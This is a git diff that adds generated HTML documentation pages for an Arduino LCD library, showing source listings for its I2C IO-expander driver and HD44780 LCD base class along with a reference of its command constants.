LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file I2CIO.h
+00013 // This file implements a basic IO library using the PCF8574 I2C IO Expander
+00014 // chip.
+00015 // 
+00016 // @brief 
+00017 // Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC.
+00018 // The library implements basic IO general methods to configure IO pin direction
+00019 // read and write uint8_t operations and basic pin level routines to set or read
+00020 // a particular IO port.
+00021 //
+00022 //
+00023 // @version API 1.0.0
+00024 //
+00025 // @author F. Malpartida - fmalpartida@gmail.com
+00026 // ---------------------------------------------------------------------------
+00027 #if (ARDUINO <  100)
+00028 #include <WProgram.h>
+00029 #else
+00030 #include <Arduino.h>
+00031 #endif
+00032 
+00033 #include <inttypes.h>
+00034 
+00035 #include <../Wire/Wire.h>
+00036 #include "I2CIO.h"
+00037 
+00038 // CLASS VARIABLES
+00039 // ---------------------------------------------------------------------------
+00040 
+00041 
+00042 // CONSTRUCTOR
+00043 // ---------------------------------------------------------------------------
+00044 I2CIO::I2CIO ( )
+00045 {
+00046    _i2cAddr     = 0x0;
+00047    _dirMask     = 0xFF;    // mark all as INPUTs
+00048    _shadow      = 0x0;     // no values set
+00049    _initialised = false;
+00050 }
+00051 
+00052 // PUBLIC METHODS
+00053 // ---------------------------------------------------------------------------
+00054 
+00055 //
+00056 // begin
+00057 int I2CIO::begin (  uint8_t i2cAddr )
+00058 {
+00059    _i2cAddr = i2cAddr;
+00060    
+00061    Wire.begin ( );
+00062       
+00063    _initialised = Wire.requestFrom ( _i2cAddr, (uint8_t)1 );
+00064 
+00065 #if (ARDUINO <  100)
+00066    _shadow = Wire.receive ();
+00067 #else
+00068    _shadow = Wire.read (); // Remove the byte read don't need it.
+00069 #endif
+00070    
+00071    return ( _initialised );
+00072 }
+00073 
+00074 //
+00075 // pinMode
+00076 void I2CIO::pinMode ( uint8_t pin, uint8_t dir )
+00077 {
+00078    if ( _initialised )
+00079    {
+00080       if ( OUTPUT == dir )
+00081       {
+00082          _dirMask &= ~( 1 << pin );
+00083       }
+00084       else 
+00085       {
+00086          _dirMask |= ( 1 << pin );
+00087       }
+00088    }
+00089 }
+00090 
+00091 //
+00092 // portMode
+00093 void I2CIO::portMode ( uint8_t dir )
+00094 {
+00095    
+00096    if ( _initialised )
+00097    {
+00098       if ( dir == INPUT )
+00099       {
+00100          _dirMask = 0xFF;
+00101       }
+00102       else
+00103       {
+00104          _dirMask = 0x00;
+00105       }
+00106    }
+00107 }
+00108 
+00109 //
+00110 // read
+00111 uint8_t I2CIO::read ( void )
+00112 {
+00113    uint8_t retVal = 0;
+00114    
+00115    if ( _initialised )
+00116    {
+00117       Wire.requestFrom ( _i2cAddr, (uint8_t)1 );
+00118 #if (ARDUINO <  100)
+00119       retVal = ( _dirMask & Wire.receive ( ) );
+00120 #else
+00121       retVal = ( _dirMask & Wire.read ( ) );
+00122 #endif      
+00123       
+00124    }
+00125    return ( retVal );
+00126 }
+00127 
+00128 //
+00129 // write
+00130 int I2CIO::write ( uint8_t value )
+00131 {
+00132    int status = 0;
+00133    
+00134    if ( _initialised )
+00135    {
+00136       // Only write HIGH the values of the ports that have been initialised as
+00137       // outputs updating the output shadow of the device
+00138       _shadow = ( value & ~(_dirMask) );
+00139    
+00140       Wire.beginTransmission ( _i2cAddr );
+00141 #if (ARDUINO <  100)
+00142       Wire.send ( _shadow );
+00143 #else
+00144       Wire.write ( _shadow );
+00145 #endif  
+00146       status = Wire.endTransmission ();
+00147    }
+00148    return ( (status == 0) );
+00149 }
+00150 
+00151 //
+00152 // digitalRead
+00153 uint8_t I2CIO::digitalRead ( uint8_t pin )
+00154 {
+00155    uint8_t pinVal = 0;
+00156    
+00157    // Check if initialised and that the pin is within range of the device
+00158    // -------------------------------------------------------------------
+00159    if ( ( _initialised ) && ( pin <= 7 ) )
+00160    {
+00161       // Remove the values which are not inputs and get the value of the pin
+00162       pinVal = this->read() & _dirMask;
+00163       pinVal = ( pinVal >> pin ) & 0x01; // Get the pin value
+00164    }
+00165    return (pinVal);
+00166 }
+00167 
+00168 //
+00169 // digitalWrite
+00170 int I2CIO::digitalWrite ( uint8_t pin, uint8_t level )
+00171 {
+00172    uint8_t writeVal;
+00173    int status = 0;
+00174    
+00175    // Check if initialised and that the pin is within range of the device
+00176    // -------------------------------------------------------------------
+00177    if ( ( _initialised ) && ( pin <= 7 ) )
+00178    {
+00179       // Only write to HIGH the port if the port has been configured as
+00180       // an OUTPUT pin. Add the new state of the pin to the shadow
+00181       writeVal = ( 1 << pin ) & ~_dirMask;
+00182       if ( level == HIGH )
+00183       {
+00184          _shadow |= writeVal;
+00185                                                       
+00186       }
+00187       else 
+00188       {
+00189          _shadow &= ~writeVal;
+00190       }
+00191       status = this->write ( _shadow );
+00192    }
+00193    return ( status );
+00194 }
+00195 
+00196 //
+00197 // PRIVATE METHODS
+00198 // ---------------------------------------------------------------------------
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8h.html b/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8h.html new file mode 100644 index 0000000..be27c2c --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8h.html @@ -0,0 +1,114 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h File Reference
+
+
+
#include <inttypes.h>
+
+

Go to the source code of this file.

+ + + + + +

+Classes

class  I2CIO

+Defines

#define _I2CIO_VERSION   "1.0.0"
+

Define Documentation

+ +
+
+ + + + +
#define _I2CIO_VERSION   "1.0.0"
+
+
+ +

Definition at line 32 of file I2CIO.h.

+ +
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8h_source.html b/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8h_source.html new file mode 100644 index 0000000..23d77fd --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8h_source.html @@ -0,0 +1,147 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file I2CIO.h
+00013 // This file implements a basic IO library using the PCF8574 I2C IO Expander
+00014 // chip.
+00015 // 
+00016 // @brief 
+00017 // Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC.
+00018 // The library implements basic IO general methods to configure IO pin direction
+00019 // read and write uint8_t operations and basic pin level routines to set or read
+00020 // a particular IO port.
+00021 //
+00022 // @version API 1.0.0
+00023 //
+00024 // @author F. Malpartida - fmalpartida@gmail.com
+00025 // ---------------------------------------------------------------------------
+00026 
+00027 #ifndef _I2CIO_H_
+00028 #define _I2CIO_H_
+00029 
+00030 #include <inttypes.h>
+00031 
+00032 #define _I2CIO_VERSION "1.0.0"
+00033 
+00041 class I2CIO  
+00042 {
+00043 public:
+00049    I2CIO ( );
+00050    
+00062    int begin ( uint8_t i2cAddr );
+00063    
+00073    void pinMode ( uint8_t pin, uint8_t dir );
+00074    
+00083    void portMode ( uint8_t dir );
+00084    
+00094    uint8_t read ( void );
+00095    
+00108    uint8_t digitalRead ( uint8_t pin );
+00109    
+00123    int write ( uint8_t value );
+00124    
+00136    int digitalWrite ( uint8_t pin, uint8_t level );
+00137    
+00138    
+00139    
+00140 private:
+00141    uint8_t _shadow;      // Shadow output
+00142    uint8_t _dirMask;     // Direction mask
+00143    uint8_t _i2cAddr;     // I2C address
+00144    bool    _initialised; // Initialised object
+00145    
+00146 };
+00147 
+00148 #endif
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_l_c_d_8cpp.html b/libraries/LiquidCrystal/docs/html/_l_c_d_8cpp.html new file mode 100644 index 0000000..af4ed6f --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_l_c_d_8cpp.html @@ -0,0 +1,93 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.cpp File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.cpp File Reference
+
+
+
#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+#include <WProgram.h>
+#include "LCD.h"
+
+

Go to the source code of this file.

+ +
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_l_c_d_8cpp_source.html b/libraries/LiquidCrystal/docs/html/_l_c_d_8cpp_source.html new file mode 100644 index 0000000..275807e --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_l_c_d_8cpp_source.html @@ -0,0 +1,431 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.cpp Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LCD.cpp
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the HD44780 library of the
+00018 // Arduino SDK. This library is a refactored version of the one supplied
+00019 // in the Arduino SDK in such a way that it simplifies its extension
+00020 // to support other mechanism to communicate to LCDs such as I2C, Serial, SR, ...
+00021 // The original library has been reworked in such a way that this will be
+00022 // the base class implementing all generic methods to command an LCD based
+00023 // on the Hitachi HD44780 and compatible chipsets.
+00024 //
+00025 // This base class is a pure abstract class and needs to be extended. As reference,
+00026 // it has been extended to drive 4 and 8 bit mode control, LCDs and I2C extension
+00027 // backpacks such as the I2CLCDextraIO using the PCF8574* I2C IO Expander ASIC.
+00028 //
+00029 //
+00030 // @version API 1.1.0
+00031 //
+00032 // 2012.03.29 bperrybap - changed comparision to use LCD_5x8DOTS rather than 0
+00033 // @author F. Malpartida - fmalpartida@gmail.com
+00034 // ---------------------------------------------------------------------------
+00035 #include <stdio.h>
+00036 #include <string.h>
+00037 #include <inttypes.h>
+00038 
+00039 #if (ARDUINO <  100)
+00040 #include <WProgram.h>
+00041 #else
+00042 #include <Arduino.h>
+00043 #endif
+00044 #include "LCD.h"
+00045 
+00046 // CLASS CONSTRUCTORS
+00047 // ---------------------------------------------------------------------------
+00048 // Constructor
+00049 LCD::LCD () 
+00050 {
+00051    
+00052 }
+00053 
+00054 // PUBLIC METHODS
+00055 // ---------------------------------------------------------------------------
+00056 // When the display powers up, it is configured as follows:
+00057 //
+00058 // 1. Display clear
+00059 // 2. Function set: 
+00060 //    DL = 1; 8-bit interface data 
+00061 //    N = 0; 1-line display 
+00062 //    F = 0; 5x8 dot character font 
+00063 // 3. Display on/off control: 
+00064 //    D = 0; Display off 
+00065 //    C = 0; Cursor off 
+00066 //    B = 0; Blinking off 
+00067 // 4. Entry mode set: 
+00068 //    I/D = 1; Increment by 1 
+00069 //    S = 0; No shift 
+00070 //
+00071 // Note, however, that resetting the Arduino doesn't reset the LCD, so we
+00072 // can't assume that its in that state when a sketch starts (and the
+00073 // LiquidCrystal constructor is called).
+00074 // A call to begin() will reinitialize the LCD.
+00075 //
+00076 void LCD::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) 
+00077 {
+00078    if (lines > 1) 
+00079    {
+00080       _displayfunction |= LCD_2LINE;
+00081    }
+00082    _numlines = lines;
+00083    _cols = cols;
+00084    
+00085    // for some 1 line displays you can select a 10 pixel high font
+00086    // ------------------------------------------------------------
+00087    if ((dotsize != LCD_5x8DOTS) && (lines == 1)) 
+00088    {
+00089       _displayfunction |= LCD_5x10DOTS;
+00090    }
+00091    
+00092    // SEE PAGE 45/46 FOR INITIALIZATION SPECIFICATION!
+00093    // according to datasheet, we need at least 40ms after power rises above 2.7V
+00094    // before sending commands. Arduino can turn on way before 4.5V so we'll wait 
+00095    // 50
+00096    // ---------------------------------------------------------------------------
+00097    delay (100); // 100ms delay
+00098    
+00099    //put the LCD into 4 bit or 8 bit mode
+00100    // -------------------------------------
+00101    if (! (_displayfunction & LCD_8BITMODE)) 
+00102    {
+00103       // this is according to the hitachi HD44780 datasheet
+00104       // figure 24, pg 46
+00105       
+00106       // we start in 8bit mode, try to set 4 bit mode
+00107       send(0x03, FOUR_BITS);
+00108       delayMicroseconds(4500); // wait min 4.1ms
+00109       
+00110       // second try
+00111       send ( 0x03, FOUR_BITS );
+00112       delayMicroseconds(4500); // wait min 4.1ms
+00113       
+00114       // third go!
+00115       send( 0x03, FOUR_BITS );
+00116       delayMicroseconds(150);
+00117       
+00118       // finally, set to 4-bit interface
+00119       send ( 0x02, FOUR_BITS ); 
+00120    } 
+00121    else 
+00122    {
+00123       // this is according to the hitachi HD44780 datasheet
+00124       // page 45 figure 23
+00125       
+00126       // Send function set command sequence
+00127       command(LCD_FUNCTIONSET | _displayfunction);
+00128       delayMicroseconds(4500);  // wait more than 4.1ms
+00129       
+00130       // second try
+00131       command(LCD_FUNCTIONSET | _displayfunction);
+00132       delayMicroseconds(150);
+00133       
+00134       // third go
+00135       command(LCD_FUNCTIONSET | _displayfunction);
+00136    }
+00137    
+00138    // finally, set # lines, font size, etc.
+00139    command(LCD_FUNCTIONSET | _displayfunction);  
+00140    
+00141    // turn the display on with no cursor or blinking default
+00142    _displaycontrol = LCD_DISPLAYON | LCD_CURSOROFF | LCD_BLINKOFF;  
+00143    display();
+00144    
+00145    // clear the LCD
+00146    clear();
+00147    
+00148    // Initialize to default text direction (for romance languages)
+00149    _displaymode = LCD_ENTRYLEFT | LCD_ENTRYSHIFTDECREMENT;
+00150    // set the entry mode
+00151    command(LCD_ENTRYMODESET | _displaymode);
+00152 
+00153    backlight();
+00154 
+00155 }
+00156 
+00157 // Common LCD Commands
+00158 // ---------------------------------------------------------------------------
+00159 void LCD::clear()
+00160 {
+00161    command(LCD_CLEARDISPLAY);             // clear display, set cursor position to zero
+00162    delayMicroseconds(HOME_CLEAR_EXEC);    // this command is time consuming
+00163 }
+00164 
+00165 void LCD::home()
+00166 {
+00167    command(LCD_RETURNHOME);             // set cursor position to zero
+00168    delayMicroseconds(HOME_CLEAR_EXEC);  // This command is time consuming
+00169 }
+00170 
+00171 void LCD::setCursor(uint8_t col, uint8_t row)
+00172 {
+00173    const byte row_offsetsDef[]   = { 0x00, 0x40, 0x14, 0x54 }; // For regular LCDs
+00174    const byte row_offsetsLarge[] = { 0x00, 0x40, 0x10, 0x50 }; // For 16x4 LCDs
+00175    
+00176    if ( row >= _numlines ) 
+00177    {
+00178       row = _numlines-1;    // rows start at 0
+00179    }
+00180    
+00181    // 16x4 LCDs have special memory map layout
+00182    // ----------------------------------------
+00183    if ( _cols == 16 && _numlines == 4 )
+00184    {
+00185       command(LCD_SETDDRAMADDR | (col + row_offsetsLarge[row]));
+00186    }
+00187    else 
+00188    {
+00189       command(LCD_SETDDRAMADDR | (col + row_offsetsDef[row]));
+00190    }
+00191    
+00192 }
+00193 
+00194 // Turn the display on/off
+00195 void LCD::noDisplay() 
+00196 {
+00197    _displaycontrol &= ~LCD_DISPLAYON;
+00198    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00199 }
+00200 
+00201 void LCD::display() 
+00202 {
+00203    _displaycontrol |= LCD_DISPLAYON;
+00204    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00205 }
+00206 
+00207 // Turns the underline cursor on/off
+00208 void LCD::noCursor() 
+00209 {
+00210    _displaycontrol &= ~LCD_CURSORON;
+00211    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00212 }
+00213 void LCD::cursor() 
+00214 {
+00215    _displaycontrol |= LCD_CURSORON;
+00216    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00217 }
+00218 
+00219 // Turns on/off the blinking cursor
+00220 void LCD::noBlink() 
+00221 {
+00222    _displaycontrol &= ~LCD_BLINKON;
+00223    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00224 }
+00225 
+00226 void LCD::blink() 
+00227 {
+00228    _displaycontrol |= LCD_BLINKON;
+00229    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00230 }
+00231 
+00232 // These commands scroll the display without changing the RAM
+00233 void LCD::scrollDisplayLeft(void) 
+00234 {
+00235    command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVELEFT);
+00236 }
+00237 
+00238 void LCD::scrollDisplayRight(void) 
+00239 {
+00240    command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVERIGHT);
+00241 }
+00242 
+00243 // This is for text that flows Left to Right
+00244 void LCD::leftToRight(void) 
+00245 {
+00246    _displaymode |= LCD_ENTRYLEFT;
+00247    command(LCD_ENTRYMODESET | _displaymode);
+00248 }
+00249 
+00250 // This is for text that flows Right to Left
+00251 void LCD::rightToLeft(void) 
+00252 {
+00253    _displaymode &= ~LCD_ENTRYLEFT;
+00254    command(LCD_ENTRYMODESET | _displaymode);
+00255 }
+00256 
+00257 // This method moves the cursor one space to the right
+00258 void LCD::moveCursorRight(void)
+00259 {
+00260    command(LCD_CURSORSHIFT | LCD_CURSORMOVE | LCD_MOVERIGHT);
+00261 }
+00262 
+00263 // This method moves the cursor one space to the left
+00264 void LCD::moveCursorLeft(void)
+00265 {
+00266    command(LCD_CURSORSHIFT | LCD_CURSORMOVE | LCD_MOVELEFT);
+00267 }
+00268 
+00269 
+00270 // This will 'right justify' text from the cursor
+00271 void LCD::autoscroll(void) 
+00272 {
+00273    _displaymode |= LCD_ENTRYSHIFTINCREMENT;
+00274    command(LCD_ENTRYMODESET | _displaymode);
+00275 }
+00276 
+00277 // This will 'left justify' text from the cursor
+00278 void LCD::noAutoscroll(void) 
+00279 {
+00280    _displaymode &= ~LCD_ENTRYSHIFTINCREMENT;
+00281    command(LCD_ENTRYMODESET | _displaymode);
+00282 }
+00283 
+00284 // Write to CGRAM of new characters
+00285 void LCD::createChar(uint8_t location, uint8_t charmap[]) 
+00286 {
+00287    location &= 0x7;            // we only have 8 locations 0-7
+00288    
+00289    command(LCD_SETCGRAMADDR | (location << 3));
+00290    delayMicroseconds(30);
+00291    
+00292    for (int i=0; i<8; i++) 
+00293    {
+00294       write(charmap[i]);      // call the virtual write method
+00295       delayMicroseconds(40);
+00296    }
+00297 }
+00298 
+00299 //
+00300 // Switch on the backlight
+00301 void LCD::backlight ( void )
+00302 {
+00303    setBacklight(255);
+00304 }
+00305 
+00306 //
+00307 // Switch off the backlight
+00308 void LCD::noBacklight ( void )
+00309 {
+00310    setBacklight(0);
+00311 }
+00312 
+00313 //
+00314 // Switch fully on the LCD (backlight and LCD)
+00315 void LCD::on ( void )
+00316 {
+00317    display();
+00318    backlight();
+00319 }
+00320 
+00321 //
+00322 // Switch fully off the LCD (backlight and LCD) 
+00323 void LCD::off ( void )
+00324 {
+00325    noBacklight();
+00326    noDisplay();
+00327 }
+00328 
+00329 // General LCD commands - generic methods used by the rest of the commands
+00330 // ---------------------------------------------------------------------------
+00331 void LCD::command(uint8_t value) 
+00332 {
+00333    send(value, COMMAND);
+00334 }
+00335 
+00336 #if (ARDUINO <  100)
+00337 void LCD::write(uint8_t value)
+00338 {
+00339    send(value, DATA);
+00340 }
+00341 #else
+00342 size_t LCD::write(uint8_t value) 
+00343 {
+00344    send(value, DATA);
+00345    return 1;             // assume OK
+00346 }
+00347 #endif
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_l_c_d_8h.html b/libraries/LiquidCrystal/docs/html/_l_c_d_8h.html new file mode 100644 index 0000000..19ad58f --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_l_c_d_8h.html @@ -0,0 +1,711 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h File Reference
+
+
+
#include <WProgram.h>
+#include <inttypes.h>
+#include <Print.h>
+
+

Go to the source code of this file.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Classes

class  LCD

+Defines

#define BACKLIGHT_OFF   0
#define BACKLIGHT_ON   255
#define COMMAND   0
#define DATA   1
#define FOUR_BITS   2
#define HOME_CLEAR_EXEC   2000
#define LCD_1LINE   0x00
#define LCD_2LINE   0x08
#define LCD_4BITMODE   0x00
#define LCD_5x10DOTS   0x04
#define LCD_5x8DOTS   0x00
#define LCD_8BITMODE   0x10
#define LCD_BLINKOFF   0x00
#define LCD_BLINKON   0x01
#define LCD_CLEARDISPLAY   0x01
#define LCD_CURSORMOVE   0x00
#define LCD_CURSOROFF   0x00
#define LCD_CURSORON   0x02
#define LCD_CURSORSHIFT   0x10
#define LCD_DISPLAYCONTROL   0x08
#define LCD_DISPLAYMOVE   0x08
#define LCD_DISPLAYOFF   0x00
#define LCD_DISPLAYON   0x04
#define LCD_ENTRYLEFT   0x02
#define LCD_ENTRYMODESET   0x04
#define LCD_ENTRYRIGHT   0x00
#define LCD_ENTRYSHIFTDECREMENT   0x00
#define LCD_ENTRYSHIFTINCREMENT   0x01
#define LCD_FUNCTIONSET   0x20
#define LCD_MOVELEFT   0x00
#define LCD_MOVERIGHT   0x04
#define LCD_RETURNHOME   0x02
#define LCD_SETCGRAMADDR   0x40
#define LCD_SETDDRAMADDR   0x80

+Enumerations

enum  t_backlighPol { POSITIVE, +NEGATIVE + }

+Functions

static void waitUsec (uint16_t uSec)
+

Define Documentation

+ +
+
+ + + + +
#define BACKLIGHT_OFF   0
+
+
+

Backlight off constant declaration Used in combination with the setBacklight to swith off the LCD backlight. setBacklight

+ +

Definition at line 151 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define BACKLIGHT_ON   255
+
+
+

Backlight on constant declaration Used in combination with the setBacklight to swith on the LCD backlight. setBacklight

+ +

Definition at line 159 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define COMMAND   0
+
+
+ +

Definition at line 132 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define DATA   1
+
+
+ +

Definition at line 133 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define FOUR_BITS   2
+
+
+ +

Definition at line 134 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define HOME_CLEAR_EXEC   2000
+
+
+

Defines the duration of the home and clear commands This constant defines the time it takes for the home and clear commands in the LCD - Time in microseconds.

+ +

Definition at line 143 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_1LINE   0x00
+
+
+ +

Definition at line 125 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_2LINE   0x08
+
+
+ +

Definition at line 124 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_4BITMODE   0x00
+
+
+ +

Definition at line 123 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_5x10DOTS   0x04
+
+
+ +

Definition at line 126 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_5x8DOTS   0x00
+
+
+ +

Definition at line 127 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_8BITMODE   0x10
+
+
+ +

Definition at line 122 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_BLINKOFF   0x00
+
+
+ +

Definition at line 111 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_BLINKON   0x01
+
+
+ +

Definition at line 110 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_CLEARDISPLAY   0x01
+
+
+

All these definitions shouldn't be used unless you are writing a driver. All these definitions are for driver implementation only and shouldn't be used by applications.

+ +

Definition at line 88 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_CURSORMOVE   0x00
+
+
+ +

Definition at line 116 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_CURSOROFF   0x00
+
+
+ +

Definition at line 109 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_CURSORON   0x02
+
+
+ +

Definition at line 108 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_CURSORSHIFT   0x10
+
+
+ +

Definition at line 92 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_DISPLAYCONTROL   0x08
+
+
+ +

Definition at line 91 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_DISPLAYMOVE   0x08
+
+
+ +

Definition at line 115 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_DISPLAYOFF   0x00
+
+
+ +

Definition at line 107 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_DISPLAYON   0x04
+
+
+ +

Definition at line 106 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_ENTRYLEFT   0x02
+
+
+ +

Definition at line 100 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_ENTRYMODESET   0x04
+
+
+ +

Definition at line 90 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_ENTRYRIGHT   0x00
+
+
+ +

Definition at line 99 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_ENTRYSHIFTDECREMENT   0x00
+
+
+ +

Definition at line 102 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_ENTRYSHIFTINCREMENT   0x01
+
+
+ +

Definition at line 101 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_FUNCTIONSET   0x20
+
+
+ +

Definition at line 93 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_MOVELEFT   0x00
+
+
+ +

Definition at line 118 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_MOVERIGHT   0x04
+
+
+ +

Definition at line 117 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_RETURNHOME   0x02
+
+
+ +

Definition at line 89 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_SETCGRAMADDR   0x40
+
+
+ +

Definition at line 94 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_SETDDRAMADDR   0x80
+
+
+ +

Definition at line 95 of file LCD.h.

+ +
+
+

Enumeration Type Documentation

+ +
+
+ + + + +
enum t_backlighPol
+
+
+
Enumerator:
+ + +
POSITIVE  +
NEGATIVE  +
+
+
+ +

Definition at line 167 of file LCD.h.

+ +
+
+

Function Documentation

+ +
+
+ + + + + + + + +
static void waitUsec (uint16_t uSec) [inline, static]
+
+
+

Enables disables fast waits for write operations for LCD If defined, the library will avoid doing un-necessary waits. this can be done, because the time taken by Arduino's slow digitalWrite operations. If fast digitalIO operations, comment this line out or undefine the mode.

+

waits for a given time in microseconds (compilation dependent). Waits for a given time defined in microseconds depending on the FAST_MODE define. If the FAST_MODE is defined the call will return inmediatelly.

+
Parameters:
+ + +
uSec[in]time in microseconds.
+
+
+
Returns:
None
+ +

Definition at line 71 of file LCD.h.

+ +
+
+
+ + + + +
+ +
